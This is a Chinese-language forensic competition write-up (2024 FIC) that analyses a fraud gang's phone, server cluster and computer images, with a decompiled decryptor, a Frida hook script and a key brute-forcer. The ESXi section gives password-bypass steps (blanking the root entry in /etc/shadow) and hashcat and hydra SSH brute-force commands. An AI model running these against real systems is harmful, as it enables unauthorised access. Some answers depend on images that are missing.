prikey = '-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEAx5JF4elVDBaakgGeDSxICO1LyyZ6B2TgR4DNYiQoB1zAyWPD\nwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVobHVZh+rCI4MwAh+EBFUeT8Dzja4Z\nlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRnHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2\nfUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYziSOT4PCf/O12Kuu9ZklsIAihRPl10\nSmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhzRDFn9IQ6YQRjlLjuOX8WB6H4NbnK\nX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/IkwIEHoau+wKCAQAlhHEjPTFQ7suY\nU3Ji+L5TyeaFWYu3iDVmtzUTjUn2Yvr2+IyHKdU6z0vvGhsHYP8rUJcwWEBVaVbU\ndQZ8TXT0flBgC35NyGQnTHHbNsOWRvFpto0Gom5KuDS0DYPrm+Ic1Ev0SfLdY+iK\nV/uzjjeBF+CgEuvwO8xnYLsaFu6s0/ezQgEDBxpcN2KBBZoJ0eXxUUanEPkrLHA2\nDhRgUCKQks1kpJrGZp/DLb8dKfhWoQ1FV/bBsmv9lVj1Yk14oKdvb51QK53Mnhiz\nji49S+tazVCA+lP0M6lVSB2uLyB5JldT4kqOQvhtURSzW8oeTM9w1rLvW7qi823U\nWrJz+TQTAoGBAPIfUS9accG2fUA3AP93ZJU0SbZLc95JJXMyaRozFTTbxnMWB3sG\nqM9X1qZ4hECVvLF3Sn73B6kF3IaC8/Vpc2cyPHpM+ytdxZVm4uW75ZwYAvKEJeT3\n068CtcN6PvG3mFhvPsc3GK9FI1O63jrbSx+Y1hQlrVq6eMZUJh7V8BxXAoGBANMC\nmhN2sC85Pz450JNoG6Q3db0nm9kUs157TUBMGJCfvgh2Rj0t08FcEKQn+idtOf6Z\nZc2lRoLeaRq539Ex8zzsD7Dl7bFtePRsuDcAMuIFY2S0Z8jjj9BaCirrUluu1FWp\nTV60As9YBLnRosLTrYtgym+GNjdE/42uFRBJk9AlAoGBAIyGeStBbau1BmMSeTJt\n9QYjl95MJZXTbJD4IFV73nVG66I/yKp9Ry3Q1hHf/oDm6bepslI/7+lLK1TPRv7T\nO0PNY92vya15RUvFerOz2QvOz9SRh/ZU6rEwsy0qZtanGZ7pKCSsQIwcJcsTKdjO\nvMj9QIqxqmdpdh6zFDeGKu4/AoGAEzFuMCQH+liRp9MEZtEtoqtUSwbwhSUh4hl+\nnScp+a+sKIaF/ohJfXeBctWCF6iU/N5TH7SlnfBlZE7MBJHiiAz8EwWI4u4EmFkc\n7RvmfXowLO9L4pG2rzwcMGgrs9cJm+NcjlNmq+Kx4q+F4lHNN8+/7NPdmDyiUlAD\nATZCds8CgYEA2CFvsH+TUV3Q63UdTsdrUKK86vohjGSaoai7mEUGo4iZ/Ie+ScAa\nGtPFZUhO7EJqh2rNqAakfZGgKU43hAjiUHIjvZdAFNoqpNxO+bkEIPSFQQ6o34r3\naGTj9Pz1UH/ByW76V7defT/2jQsXHHFiVGpDU6WT80bInLqDQRxlDRk=\n-----END RSA PRIVATE KEY-----\n'
class XORCBC:
def __init__(self = None, key = None):
self.key = bytearray(key)
self.cur = 0
def decrypt(self = None, data = None):
data = bytearray(data)
for i in range(len(data)):
data[i] ^= self.key[self.cur]
self.key[self.cur] = data[i]
self.cur = (self.cur + 1) % len(self.key)
return bytes(data)
def run_decrypt():
print('解密程序 V1.0\n')
present = input('请输入密码:')
if present == '4008003721':
for filepath, dirnames, filenames in os.walk(os.getcwd()):
for filename in filenames:
if '_encrypted' in filename:
print(os.path.join(filepath, filename) + '-解密成功')
data_file = os.path.join(filepath, filename)
data_handle = open(data_file, 'rb')
rsakey = RSA.import_key(prikey)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
xor_key = cipher.decrypt(data_handle.read(256), '')
xor_obj = XORCBC(xor_key)
outname = data_file.replace('_encrypted', '')
outf = open(outname, 'wb')
buffer_size = 4096
while None:
data = data_handle.read(buffer_size)
if not data:
break
outf.close()
print('\n恭喜您,解密成功~~~~~~~~~~~~~~~')
os.system('pause')
else:
print('\n密码错误~~~~~~~~~~~~~~~')
run_decrypt()
run_decrypt()
密码就在源码中,直接解密得到flag:
46.恶意APK程序的包名为
网站前台APK下载地址被技术员修改成恶意APK了,在链接下载APK后对其进行分析:
47.APK调用的权限包括
读取SD卡内容
使用相机
修改系统设置
修改删除SD卡内容
安装APK
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" ></uses-permission>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" ></uses-permission>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" ></uses-permission>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" ></uses-permission>
权限 | 作用 | 风险 |
---|---|---|
android.permission.FOREGROUND_SERVICE |
允许应用在前台运行服务 | 可能会持续运行,提高功耗,滥用可能导致隐私泄露 |
android.permission.SYSTEM_ALERT_WINDOW |
允许创建悬浮窗 | 可能用于恶意覆盖界面,实施钓鱼攻击或欺骗用户 |
android.permission.WRITE_EXTERNAL_STORAGE |
读写外部存储 | 可能会窃取或篡改用户文件 |
ndroid.permission.READ_EXTERNAL_STORAGE |
读取外部存储 | 可能访问用户文件 |
最近探索到了天穹动态分析沙箱:
48.解锁第一关所使用的FLAG2值为
需要脱壳,卡这了,不会。
我也想要一键脱壳。
以下内容来自WP:
定位过去,大致看下逻辑,结合交互信息对应的条件可以确定是第几关。
其中OnClick函数这里有个明显的字符串对比,trim2是我们的输入,从而可以确定答案
49. 解锁第二关所使用的FLAG3值为¶
接上题,注意到第二关这里
对App.OooO0O0.OooO0oo
查看用例,发现在这里被初始化。
分析OooO0O0.OooO0O0
,能发现这个函数是把十六进制串转为byte数组。
而decrypt
是native函数,从libcipher.so中加载。
方法一:通过frida直接hookApp.OooO0O0.OooO0oo
的值,模拟器先把frida-server开起来(注意不要给ZTuoExchange root权限),跑脚本frida -U -l hook.js "ZTuoExchange"
setImmediate(function () {
Java.perform(function () {
var app = Java.use("cn.forensix.cab.App"); // 指定类
var OooO0oo = app.class.getField("OooO0oo"); // 指定属性
var OooO0O0 = app.class.getField("OooO0O0").get(null); // 获取已实例化的对
象
console.log(OooO0oo.get(OooO0O0));
});
})
方法二:建立Android项目,把需要的文件和函数都放进来,直接调用decrypt
和OooO0O0.OooO0O0
获取this.OooO0oo
的值。
50. 解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值¶
注意到这里
查看其声明
要求字符串长度为24。4个一组,通过移位将4个数构成一个大数,分成6组操作。其中try块里会触发unused异常(强制转换为Integer那里),真正的验证逻辑在catch块中。查看声明,确定OooO
函数和OooO0oO
数组。
可以每4个进行爆破,每个都是可见字符
class Main {
private static int[] OooO0oO = {1197727163, 1106668241, 312918615, 1828680913, 1668105995, 1728985987};
public static void main(String[] args) {
for (int n=0; n<6; n++) {
boolean flag = false;
for (int i = 0x20; i < 0x7f; i++) {
for (int j = 0x20; j < 0x7f; j++) {
for (int k = 0x20; k < 0x7f; k++) {
for (int l = 0x20; l < 0x7f; l++) {
long tmp = (long) (i << 16);
tmp |= (long) (j << '\b');
tmp |= (long) (k << 24);
tmp |= (long) l;
if (((OooO(tmp, 4294967296L)[0] % 4294967296L) + 4294967296L) % 4294967296L == ((long) OooO0oO[n])) {
System.out.print((char) i);
System.out.print((char) j);
System.out.print((char) k);
System.out.print((char) l);
flag = true;
break;
}
}
if (flag)
break;
}
if (flag)
break;
}
if (flag)
break;
}
}
}
public boolean OooO0O0(String str) {
if (str.length() != 24) {
return false;
}
long[] jArr = new long[6];
for (int i = 0; i < str.length() / 4; i++) {
int i2 = i * 4;
jArr[i] = (long) (str.charAt(i2) << 16);
jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 1) << '\b'));
jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 2) << 24));
jArr[i] = ((long) str.charAt(i2 + 3)) | jArr[i];
// PrintStream printStream = System.out;
// printStream.println("buildKey:i:" + i + ",value:" + jArr[i]);
}
try {
int[] iArr = {1197727043, 1106668192, 312918557, 1828680848, 1668105873, 1728985862};
Object[] objArr = {'x', '1', ':', 'A', 'z', '}'};
for (int i3 = 0; i3 < 6; i3++) {
if (((long) iArr[i3]) - jArr[i3] != ((long) ((Integer) objArr[i3]).intValue())) {
return false;
}
}
return true;
} catch (Exception unused) {
for (int i4 = 0; i4 < 6; i4++) {
if (((OooO(jArr[i4], 4294967296L)[0] % 4294967296L) + 4294967296L) % 4294967296L != ((long) this.OooO0oO[i4])) {
return false;
}
}
return true;
}
}
private static long[] OooO(long j, long j2) {
if (j == 0) {
return new long[]{0, 1};
}
long[] OooO = OooO(j2 % j, j);
return new long[]{((j2 / j) * OooO[0]) + OooO[1], OooO[0]};
}
}
2024FIC线上赛
2024年4月,卢某报案至警方,声称自己疑似遭受了“杀猪盘”诈骗,大量钱财被骗走。卢某透露,在与某公司交流过程中结识了员工李某。李某私下诱导卢某参与赌博游戏,起初资金出入均属正常。但随后,李某称赌博平台为提升安全性,更换了地址和玩法,转为通过群聊抢红包形式进行赌博。随着赌资不断增加,卢某投入巨额资金后,发现无法再访问该网站,同时李某也失去联系,卢某遂意识到自己被骗。
在经济压力下,卢某选择报警,并承认参与赌博活动,愿意承担相应法律后果。警方依据卢某提供的线索和手机数据,迅速锁定犯罪团伙,并在一藏匿地点成功抓获犯罪嫌疑人李某和赵某。警方对嫌疑人持有的物品进行了证据固定:李某手机被标记为检材1,窝点内服务器为检材2,赵某使用的计算机为检材3。
接下来,请取证工作者根据案情和这些检材进行深入分析,并解答后续问题。
手机部分
1.嫌疑人李某的手机型号是?
A. Xiaomi MI 2s
B. Xiaomi MI 4
C. Xiaomi MI 6
D. Xiaomi MI 8
源文件地址:
misc/location/xtra/useragent.txt
2.嫌疑人李某是否可能有平板电脑设备,如有该设备型号是?
A. iPad Pro 11
B. Vivo Pad 2
C. MatePad Pro
D. Xiaomi Pad 6s
火眼取证中得到的WI-FI连接记录中有:
WIFI连接记录源文件地址:
misc/wifi/WifiConfigStore.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<WifiConfigStoreData>
<int name="Version" value="1" />
<NetworkList>
<Network>
<WifiConfiguration>
<string name="ConfigKey">"Xiaomi Pad 6S Pro 12.4"WPA_PSK</string>
<string name="SSID">"Xiaomi Pad 6S Pro 12.4"</string>
<null name="BSSID" />
<string name="PreSharedKey">"12345678"</string>
<null name="WEPKeys" />
<int name="WEPTxKeyIndex" value="0" />
<boolean name="HiddenSSID" value="false" />
<boolean name="RequirePMF" value="false" />
<byte-array name="AllowedKeyMgmt" num="1">02</byte-array>
<byte-array name="AllowedProtocols" num="1">03</byte-array>
<byte-array name="AllowedAuthAlgos" num="1">01</byte-array>
<byte-array name="AllowedGroupCiphers" num="1">0f</byte-array>
<byte-array name="AllowedPairwiseCiphers" num="1">06</byte-array>
<boolean name="Shared" value="true" />
<int name="Status" value="2" />
<null name="FQDN" />
<null name="ProviderFriendlyName" />
<null name="LinkedNetworksList" />
<null name="DefaultGwMacAddress" />
<boolean name="ValidatedInternetAccess" value="true" />
<boolean name="NoInternetAccessExpected" value="false" />
<int name="UserApproved" value="0" />
<boolean name="MeteredHint" value="false" />
<int name="MeteredOverride" value="0" />
<boolean name="UseExternalScores" value="false" />
<int name="NumAssociation" value="3" />
<int name="CreatorUid" value="1000" />
<string name="CreatorName">android.uid.system:1000</string>
<string name="CreationTime">time=03-14 16:55:57.249</string>
<int name="LastUpdateUid" value="1000" />
<string name="LastUpdateName">android.uid.system:1000</string>
<int name="LastConnectUid" value="10014" />
<boolean name="IsLegacyPasspointConfig" value="false" />
<long-array name="RoamingConsortiumOIs" num="0" />
<string name="RandomizedMacAddress">02:00:00:00:00:00</string>
</WifiConfiguration>
<NetworkStatus>
<string name="SelectionStatus">NETWORK_SELECTION_ENABLED</string>
<string name="DisableReason">NETWORK_SELECTION_ENABLE</string>
<null name="ConnectChoice" />
<long name="ConnectChoiceTimeStamp" value="-1" />
<boolean name="HasEverConnected" value="true" />
</NetworkStatus>
<IpConfiguration>
<string name="IpAssignment">DHCP</string>
<string name="ProxySettings">NONE</string>
</IpConfiguration>
</Network>
</NetworkList>
<PasspointConfigData>
<long name="ProviderIndex" value="0" />
</PasspointConfigData>
</WifiConfigStoreData>
字段名 | 类型 | 内容 | 用途解释 |
---|---|---|---|
Version | int | 1 | 配置文件版本号,当前是第1版 |
ConfigKey | string | "Xiaomi Pad 6S Pro 12.4"WPA_PSK | 网络配置唯一键,由SSID和加密方式拼接 |
SSID | string | "Xiaomi Pad 6S Pro 12.4" | WiFi网络名称(即SSID) |
BSSID | null | 空 | 连接过的AP设备MAC地址,当前为空(未指定) |
PreSharedKey | string | "12345678" | WiFi密码(PSK) |
WEPKeys | null | 空 | WEP加密密钥,当前未使用WEP |
WEPTxKeyIndex | int | 0 | WEP加密使用的密钥索引,默认0 |
HiddenSSID | boolean | false | 该WiFi是否隐藏SSID(false表示公开广播) |
RequirePMF | boolean | false | 是否要求PMF(Protected Management Frames,增强安全性) |
AllowedKeyMgmt | byte-array | 02 | 允许的密钥管理方式(02通常是WPA-PSK) |
AllowedProtocols | byte-array | 03 | 支持的协议(03一般代表RSN和WPA) |
AllowedAuthAlgos | byte-array | 01 | 允许的认证算法(01通常表示OPEN) |
AllowedGroupCiphers | byte-array | 0f | 支持的组密码(0f代表多种,比如TKIP, CCMP) |
AllowedPairwiseCiphers | byte-array | 06 | 支持的点对点加密方式(06一般是CCMP和TKIP) |
Shared | boolean | true | 该配置是否允许共享给其他用户 |
Status | int | 2 | 网络状态(2通常是CURRENT,已连接) |
FQDN | null | 空 | 完全限定域名(用于Passpoint Wi-Fi),为空表示普通WiFi |
ProviderFriendlyName | null | 空 | Passpoint提供商友好名称,当前为空 |
LinkedNetworksList | null | 空 | 关联网络列表,当前无关联 |
DefaultGwMacAddress | null | 空 | 默认网关MAC地址 |
ValidatedInternetAccess | boolean | true | 已验证该WiFi有互联网访问 |
NoInternetAccessExpected | boolean | false | 不期望该网络没有互联网访问 |
UserApproved | int | 0 | 用户批准状态(0表示未特别批准) |
MeteredHint | boolean | false | 是否提示该网络是计量网络(false即不限流) |
MeteredOverride | int | 0 | 用户手动设置的计量覆盖状态(0代表自动判断) |
UseExternalScores | boolean | false | 是否使用外部评分机制评估网络质量 |
NumAssociation | int | 3 | 连接过该WiFi的次数 |
CreatorUid | int | 1000 | 创建该配置的系统UID(1000是系统进程) |
CreatorName | string | android.uid.system:1000 | 创建者名称 |
CreationTime | string | time=03-14 16:55:57.249 | 配置创建的时间戳 |
LastUpdateUid | int | 1000 | 最后一次更新配置的用户UID |
LastUpdateName | string | android.uid.system:1000 | 最后一次更新配置的用户名 |
LastConnectUid | int | 10014 | 最后一次连接该WiFi的应用或用户的UID |
IsLegacyPasspointConfig | boolean | false | 是否是旧版Passpoint配置(false表示普通WiFi) |
RoamingConsortiumOIs | long-array | 空数组 | 漫游联盟组织ID(一般用于Passpoint,当前没有) |
RandomizedMacAddress | string | 02:00:00:00:00:00 | 随机化的MAC地址(防跟踪,默认无效) |
SelectionStatus | string | NETWORK_SELECTION_ENABLED | 网络选择状态(已启用,可以自动连接) |
DisableReason | string | NETWORK_SELECTION_ENABLE | 当前网络启用原因 |
ConnectChoice | null | 空 | 指定连接首选项(无) |
ConnectChoiceTimeStamp | long | -1 | 首选连接时间戳(-1表示无) |
HasEverConnected | boolean | true | 是否曾经成功连接过该WiFi |
IpAssignment | string | DHCP | IP分配方式(DHCP自动获取) |
ProxySettings | string | NONE | 代理设置(无代理) |
ProviderIndex | long | 0 | Passpoint配置索引(0表示无) |
关注字段<WifiConfiguration>
(Wi-Fi基本配置)
3.嫌疑人李某手机开启热点设置的密码是?
手机开启热点设置源文件地址:
misc/wifi/softap.conf
4.嫌疑人李某的微信内部ID是?
微信内部ID源文件地址:
data/com.tencent.mm/shared_prefs/com.tencent.mm_preferences.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<long name="sql_trace_child_thread_interval_time" value="1000" />
<boolean name="Main_ShortCut" value="true" />
<long name="sql_trace_file_full_size" value="30720" />
<boolean name="hasInitVoiceControlData" value="false" />
<long name="sql_trace_child_transaction_interval_time" value="5000" />
<int name="com.tencent.mm.gallery.cache.suffix" value="0" />
<long name="handler_log_file_max_size" value="35840" />
<long name="handler_debug_log_time" value="15000" />
<long name="sql_trace_log_file_max_size" value="35840" />
<boolean name="Main_need_read_top_margin" value="false" />
<boolean name="isLogin" value="true" />
<boolean name="screenResolution_isModifyDensity" value="false" />
<int name="last_reportdevice_channel" value="0" />
<string name="reg_last_exit_ui">L200_100</string>
<long name="handler_trace_file_full_size" value="30720" />
<boolean name="room_placed_to_the_top" value="false" />
<long name="MMTempKeyStepLogger-Last-Clean-Time" value="1710796506617" />
<boolean name="hasTryToInitVoiceControlData" value="true" />
<string name="login_weixin_username">wxid_wnigmud8aj6j12</string>
<int name="last_reportdevice_clientversion" value="671099444" />
<int name="com.tencent.mm.plugin.gallery.cache.cache-file-num" value="5" />
<string name="last_avatar_path">/data/user/0/com.tencent.mm/MicroMsg/last_avatar_dir/user_8ef509bc8096a195ef7e1f9ee4610c88.png</string>
<string name="last_login_use_voice">32768</string>
<int name="com.tencent.mm.plugin.gallery.cache.cache-up-to-date" value="1" />
<string name="login_user_name">16601931006</string>
<long name="trace_config_last_update_time" value="1710489503467" />
<string name="last_login_bind_mobile">16601931006</string>
<string name="last_login_uin">2969892847</string>
<long name="handler_upload_time_interval" value="86400000" />
<int name="Main_top_marign" value="72" />
<long name="handler_debug_log_time_main" value="1500" />
<int name="heavy_user_session_cnt" value="8" />
<long name="sql_trace_main_thread_interval_time" value="500" />
<boolean name="room_notify_new_msg" value="false" />
<string name="last_login_nick_name">бб</string>
<string name="last_bind_info">4</string>
<long name="sql_upload_time_interval" value="10800000" />
<boolean name="force_notify" value="false" />
<int name="com.tencent.mm.compatible.util.keybord.height" value="747" />
<long name="sql_trace_main_thread_select_interval_time" value="300" />
<long name="sql_trace_main_thread_update_interval_time" value="500" />
</map>
字段名 | 类型 | 内容 | 用途解释 |
---|---|---|---|
sql_trace_child_thread_interval_time | long | 1000 | 子线程SQL追踪记录间隔时间,单位毫秒 |
Main_ShortCut | boolean | true | 是否在桌面创建主界面快捷方式 |
sql_trace_file_full_size | long | 30720 | SQL追踪日志文件达到该大小(KB)后轮转 |
hasInitVoiceControlData | boolean | false | 是否已初始化语音控制数据 |
sql_trace_child_transaction_interval_time | long | 5000 | 子线程SQL事务追踪记录间隔时间,单位毫秒 |
com.tencent.mm.gallery.cache.suffix | int | 0 | 微信图库缓存文件后缀标识(通常为缓存控制) |
handler_log_file_max_size | long | 35840 | Handler日志文件最大大小(KB) |
handler_debug_log_time | long | 15000 | 调试日志输出的间隔时间,单位毫秒 |
sql_trace_log_file_max_size | long | 35840 | SQL追踪日志文件最大限制(KB) |
Main_need_read_top_margin | boolean | false | 主界面是否需要读取顶部边距 |
isLogin | boolean | true | 是否已经登录微信账号 |
screenResolution_isModifyDensity | boolean | false | 是否修改了屏幕密度(用于分辨率适配) |
last_reportdevice_channel | int | 0 | 上一次设备上报时的渠道标识 |
reg_last_exit_ui | string | L200_100 | 注册流程最后退出的界面代号 |
handler_trace_file_full_size | long | 30720 | Handler追踪日志文件最大大小(KB) |
room_placed_to_the_top | boolean | false | 聊天室是否置顶(用于群聊) |
MMTempKeyStepLogger-Last-Clean-Time | long | 1710796506617 | 临时日志清理的最后时间戳 |
hasTryToInitVoiceControlData | boolean | true | 是否尝试初始化语音控制数据 |
login_weixin_username | string | wxid_wnigmud8aj6j12 | 微信内部用户ID(wxid开头的) |
last_reportdevice_clientversion | int | 671099444 | 上一次设备信息上报时的微信客户端版本号 |
com.tencent.mm.plugin.gallery.cache.cache-file-num | int | 5 | 图库缓存文件的数量限制 |
last_avatar_path | string | /data/.../user_xxxx.png | 最近登录用户的头像文件路径 |
last_login_use_voice | string | 32768 | 最近登录时是否使用了语音(一般为标识位) |
com.tencent.mm.plugin.gallery.cache.cache-up-to-date | int | 1 | 图库缓存是否是最新的标志 |
login_user_name | string | 16601931006 | 最近登录用的微信账号(手机号) |
trace_config_last_update_time | long | 1710489503467 | 最后一次追踪配置更新时间戳 |
last_login_bind_mobile | string | 16601931006 | 最近绑定的手机号 |
last_login_uin | string | 2969892847 | 最近登录用户的微信UIN(内部账号ID) |
handler_upload_time_interval | long | 86400000 | Handler日志上传时间间隔(单位:毫秒,86400000ms=一天) |
Main_top_marign | int | 72 | 主界面顶部边距高度(像素) |
handler_debug_log_time_main | long | 1500 | 主线程Handler调试日志时间间隔 |
heavy_user_session_cnt | int | 8 | 大量使用者的会话次数(用于优化策略) |
sql_trace_main_thread_interval_time | long | 500 | 主线程SQL追踪记录间隔,单位毫秒 |
room_notify_new_msg | boolean | false | 群聊是否新消息提醒 |
last_login_nick_name | string | бб | 最近登录微信昵称(这里是俄文字母) |
last_bind_info | string | 4 | 最后绑定信息(可能与绑定手机号或邮箱有关) |
sql_upload_time_interval | long | 10800000 | SQL日志上传时间间隔(单位毫秒,约3小时) |
force_notify | boolean | false | 是否强制推送通知 |
com.tencent.mm.compatible.util.keybord.height | int | 747 | 软键盘高度(像素) |
sql_trace_main_thread_select_interval_time | long | 300 | 主线程SQL select操作追踪时间间隔 |
sql_trace_main_thread_update_interval_time | long | 500 | 主线程SQL update操作追踪时间间隔 |
关注字段login_weixin_username
5.嫌疑人李某发送给技术人员的网站源码下载地址是什么?
扫码解密即可(新佛曰没了)
微信聊天记录解密(参考文章:导出微信的聊天记录并解密EnMicroMsg.db – Yaodo Blog)
微信聊天历史记录源文件:
data/com.tencent.mm/MicroMsg/a4acf80ba7af680ea2f4be21d60063d8/EnMicroMsg.db
微信聊天历史记录解密文件:
data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml
6.受害者微信用户ID是?
很快找出受害者
7.嫌疑人李某第一次连接WIFI的时间是?
A. 03-14 15:55:57
B. 03-14 16:55:57
C. 03-14 17:55:57
D. 03-14 18:55:57
从题目2中源文件的分析中得出第一次连接WIFI的时间
重点关注关键词CreationTime
(WIFI配置创建的时间戳)
8.分析嫌疑人李某的社交习惯,哪一个时间段消息收发最活跃?
A. 12:00-14:00
B. 14:00-16:00
C. 16:00-18:00
D. 18:00-20:00
分析聊天记录
9.请分析嫌疑人手机,该案件团伙中,还有一名重要参与者警方未抓获,该嫌疑人所使用的微信账号ID为?
大声密谋
看他微信号:
10.请分析嫌疑人手机,嫌疑人老板组织人员参与赌博活动,所使用的国内访问入口地址为?[格式:127.0.0.1:8080/admin]
服务器集群部分
(原文地址:第四届FIC线上赛,官方复盘在这里!)
写在题目解析前面,服务器部分ESXI的重组会影响到做题的方法和进度,此处列举两种ESXI的重构和绕密方法:
- 手动挂载绕密,可以不用额外挂载数据盘,难点是绕密。
- 火眼仿真,可以直接绕过ESXI的密码,难点是挂载数据盘问题,需要手动挂载。(竞赛之后,弘连火眼项目组已经修复了ESXi的仿真问题,新版本的仿真软件可以直接启动自动挂载了,此方法不在列举)
在比赛当时,两种方法在重构难度上基本相同,不存在捷径。手动绕密看似更难,却可以实现百分百仿真,因为虚拟机设置可能存在开机自启等选项,该种方式可以在系统启动时正常加载所有虚拟机。这就像一次往返可能来回是不同的线路,很多人会选择眼前较近的路,在火眼仿真后再去手动挂盘。
这里我们主要介绍一下手动绕密自动挂盘的方式。
(1)首先使用FTK挂载ESXI的镜像。(此处注意点:挂载选项选择“物理”和“逻辑”;注意选择“逻辑”挂载是因为需要进入分区修改shadow文件)
(2)打开FTK挂载出来的虚拟磁盘,在250MB大小的一个分区找到state.gz文件。
解压层级为:State.tgz -> local.tgz -> /etc(建议使用7Z工具打开,直接在目录中点击编辑即可修改shadow文件,修改完成之后直接点保存即可)
(3)有了etc目录,绕密方式就比较明显了,将/etc/shadow文件root密码置空,重新按照路径选择tar.gz压缩回去后替换原文件。
(4)替换后完成后,使用VMware选择“创建新的虚拟机”,使用FTK挂载的物理磁盘,创建完成之后,即可启动新的虚拟机,ESXi密码此时已被清除,可以直接空密码登录。(由于是集群仿真,在仿真时需要勾选cpu嵌套虚拟化功能“Intel VT-x/AMD-V”,否则无法在虚拟机中再开虚拟机)
(5)建议(此步骤可以不做):ESXi环境启动之后(网络配置通畅),使用VMware自带的“连接远程服务器”功能,管理虚拟机会更加便捷,做题效率会提高。
(6)进入ESXi环境之后,所有虚拟机都没有提供密码,由于都是本地设备,可以采用单用户模式绕掉开机密码,网上教程很多,本文不做展开。(OpenWRT服务器终端默认空密码登录)
1.ESXi服务器的ESXi版本为?
ESXi(全称:VMware ESXi)是VMware公司开发的一种企业级虚拟化平台,属于“裸机(bare-metal)”虚拟化技术。
简单讲就是:
- ESXi是一个极小型的操作系统,专门用于在一台物理服务器上运行多个虚拟机(VM)。
- 它直接安装在物理服务器硬件上,不需要额外的操作系统(比如Windows或者Linux)作为中间层。
- 它主要负责把底层硬件资源(CPU、内存、硬盘、网络)分配给上层的多个虚拟机,每个虚拟机都可以装不同的操作系统,比如Windows、Linux等。
仿真后即可看到:
2.请分析ESXi服务器,该系统的安装日期为:
A. 2024年3月12日星期二 02:04:15 UTC
B. 2024年3月12日星期二 02:05:15 UTC
C. 2024年3月12日星期二 02:06:15 UTC
D. 2024年3月12日星期二 02:07:15 UTC
配置好网卡,即可在192.168.8.112
中访问到管理页面
可以发现系统的安装日期
3.请分析ESXi服务器数据存储“datastore”的UUID是?
4.ESXI服务器的原IP地址?
由题目1可知
5.ESXI服务器中共创建了几个虚拟机?
6.网站服务器绑定的IP地址为?
ESXI服务器的IP地址C段为192.168.8.1/24
启动网站服务器虚拟机,进行扫描探测存活:
7.网站服务器的登录密码为?
思路一:找到网站服务器对应的虚拟机,其对应的VMDK文件为www-flat.vmdk,导出vmdk或者ftk挂载ESXi的E01,使用hashcat等爆破软件破解源检材中的/etc/shadow文件即可。
hashcat -m 1800 shadow -a 3 ?l?l?l?l?l?l
hashcat -m 1800 shadow -a 0 commonPwd.txt
思路二:在Windows检材内密码本也有该密码,也可以使用hydra,passware kit等工具扫爆。
(Hydra等服务爆破工具其实是非预期解,在获取检材情况下,可以通过技术手段获取所有有用信息对内容做拆解,而非使用黑盒方式获取,如果考察不可登录用户,或有ssh安全策略加固,则无法使用hydra等工具。)
hydra -l root -P commonPwd.txt ssh://192.168.8.89
8.服务器所使用的管理面板登陆入口地址对应的端口号为:
有宝塔面板,查看端口即可:
9.网站服务器的web目录是?
默认建站目录:
没有发现网站源码:
可以发现日志有解压网站源码操作:
找到源码:
10.网站配置中Redis的连接超时时间为多少秒?
面板中配置的跟本地的不同,以本地为主:
网站在jar包中,也是为了引导去分析webapp下的jar包内容。查看ruoyi-admin.jar
的配置文件application.yml
明确redis超时时间:
11.网站普通用户密码中使用的盐值为?
导出ruoyi-damin.jar后,使用jadx打开。找到并跟进登录逻辑,可以通过搜索login或者账户、密码等关键词找到com.ruoyi.app.service.impl.UserInfoServiceImpl.login
,进而看到盐值,由于这题答案符号较多,注意答题时去掉双引号
这里使用jd-GUI进行分析,找到BOOT-INF/classes/com.ruoyi/web/controller/app/UserController.class
中的盐:
12.网站管理员用户密码的加密算法名称是什么
A. des
B. rsa
C. md5
D. bcrypt
思路一:数据库查看密码特征,这需要了解每个密码特征
(1)Des为对称加密,一般不用做密码加密,解密需要密钥;
(2)Rsa为非对称加密,一般也不用做密码而是密钥,结果一般为hex或者base64格式;
(3)Md5常见密码加密策略,这个大家应该都熟,结果为16/32位hex;
(4)Bcrypt常见密码加密策略,linux的shadow文件经典加密算法。特征为有多个$符号隔开。
启动数据库需要仿真data虚拟机,密码可在Windows内密码本爆破,做法与网站服务器类似。
同时Windows浏览器保存的openwrt密码和数据库服务器密码相同,当然这不是常规思路,但是如果临时猜解可以直接成功。(详见检材3计算机部分17题)
进入后发现服务器本身无mysql,简单查看或者使用火眼分析即可看到docker中有Mysql。
启动docker以及mysql容器即可,mysql密码在宝塔和docker inspect均可找到。
查看数据库,管理员用户信息记录在sys_use表,password列存储的就是密码密文。通过特征,可以确定为bcrypt。后面可以据此进行网站绕密。
思路二:BOOT-INF/lib/ruoyi-common/com.ruoyi.common/utils/SecurityUtils.class
13.网站超级管理员用户账号创建的时间是?
从此步骤开始在这里与Windows部分交叉做题
Windows部分
1.分析技术员赵某的windows镜像,并计算赵某计算机的原始镜像的SHA1值为?
2.分析技术员赵某的windows镜像,疑似VeraCrypt加密容器的文件的SHA1值为?
计算其SHA1值即可
3.据赵某供述,他会将常用的密码放置在一个文档内,分析技术员赵某的windows镜像,找到技术员赵某的密码字典,并计算该文件的SHA1值?
跳转到这个加密镜像的位置,发现了密码字典(可用于服务器集群部分的题目中)
4.据赵某供述,他将加密容器的密码隐写在一张图片内,隐写在图片中的容器密码是?
简单的隐写
5.分析技术员赵某的windows镜像,bitlocker的恢复密钥是什么?
加载上题得到的加密容器,得到恢复密钥:
404052-011088-453090-291500-377751-349536-330429-257235
6.分析技术员赵某的windows镜像,bitlocker分区的起始扇区数是:
7.分析技术员赵某的windows镜像,默认的浏览器是?
用密钥解密磁盘,进行挂载即可查看:
8.分析技术员赵某的windows镜像,私有聊天服务器的密码为:
加密盘中存在信息:
9.分析技术员赵某的windows镜像,嫌疑人计算机中有疑似使用AI技术生成的进行赌博宣传的图片,该图片中,宣传的赌博网站地址为?
10.分析技术员赵某的windows镜像,赵某使用的AI换脸工具名称为?
A. stable diffusion
B. ROOP
C. Midjourney
D. DiffusionDraw
搜索关键词得到:
